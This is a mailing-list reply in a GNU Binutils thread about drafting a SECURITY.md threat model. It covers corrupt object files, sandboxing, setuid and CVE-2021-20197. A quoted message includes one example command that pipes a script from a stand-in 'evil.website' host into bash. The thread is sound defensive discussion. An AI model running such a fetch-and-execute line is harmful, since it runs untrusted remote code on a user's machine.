Re: RFC: Adding a SECURITY.md document to the Binutils

[Richard Earnshaw <Richard.Earnshaw@foss.arm.com>]

On 13/04/2023 13:54, Siddhesh Poyarekar wrote:
> On 2023-04-13 08:37, Richard Earnshaw wrote:
>>> "Direct compromise of security" is essentially what we're trying to 
>>> define more strongly to prevent spurious CVE assignments.
>>
>> If a user can be tricked into opening a corrupt file (eg object file) 
>> and that causes a buffer overflow that's then used to send another 
>> file to a third party, you can't really pretend that's not a direct 
>> compromise of security.  We live in the real world and this sort of 
>> threat is real.
> 
> I agree that this sort of threat is real, which is why we should 
> recommend sandboxing to deal with corrupt/untrusted files.  There is no 
> way that any program can be secured against untrusted input *after* it 
> has been supplied to it, especially if the input is in a Turing complete 
> form, like a program or a script.
> 
> This is why when one does a:
> 
> curl -s http://evil.website/malicious-script.sh | bash
> 
> it is a legitimate security issue, but it's not a vulnerability in bash, 
> nor can it be secured in bash.  One must either do this in a sandbox to 
> contain its impact in that sandbox, or do a secondary analysis (again in 
> a sandbox) to determine that it is safe.

Right, but that's not the case I was concerned about.  My scenario is 
more like when you run something like

objdump foo.o

but reading foo.o causes corruption in the tools (eg by a buffer 
exploit) and ends up sending a confidential file to a third party.

> 
>>>> a vulnerability in the generated output that was not already present 
>>>> in the files used as input.
>>>>
>>>> Note: none of the programs in the GNU Binutils suite need elevated 
>>>> system privileges (eg setuid) to operate and we recommend that users 
>>>> do not use them from accounts where such privileges are 
>>>> automatically available.
>>>
>>> We did have CVE-2021-20197, so it's not always setuid.
>>
>>
>> Which is exactly the sort of scenario I was trying to exclude by this 
>> statement - don't run the tools with elevated privileges.
> 
> I should have clarified that I agree, just that mentioning setuid might 
> lull users into believing that this threat model is only related to setuid.

Which is why I put setuid in brackets and put 'eg' in front of it.  It's 
the most obvious example, but it's by no means the only case.

BTW, the real problem underlying that CVE is that the temp-files APIs 
are fundamentally weak by defaulting to a shared temporary directory. 
Quite frankly there's no reason why systems shouldn't be using per-user 
temporary directories these days which are private - who needs to share 
temporary files with other users?

R.

> 
> Sid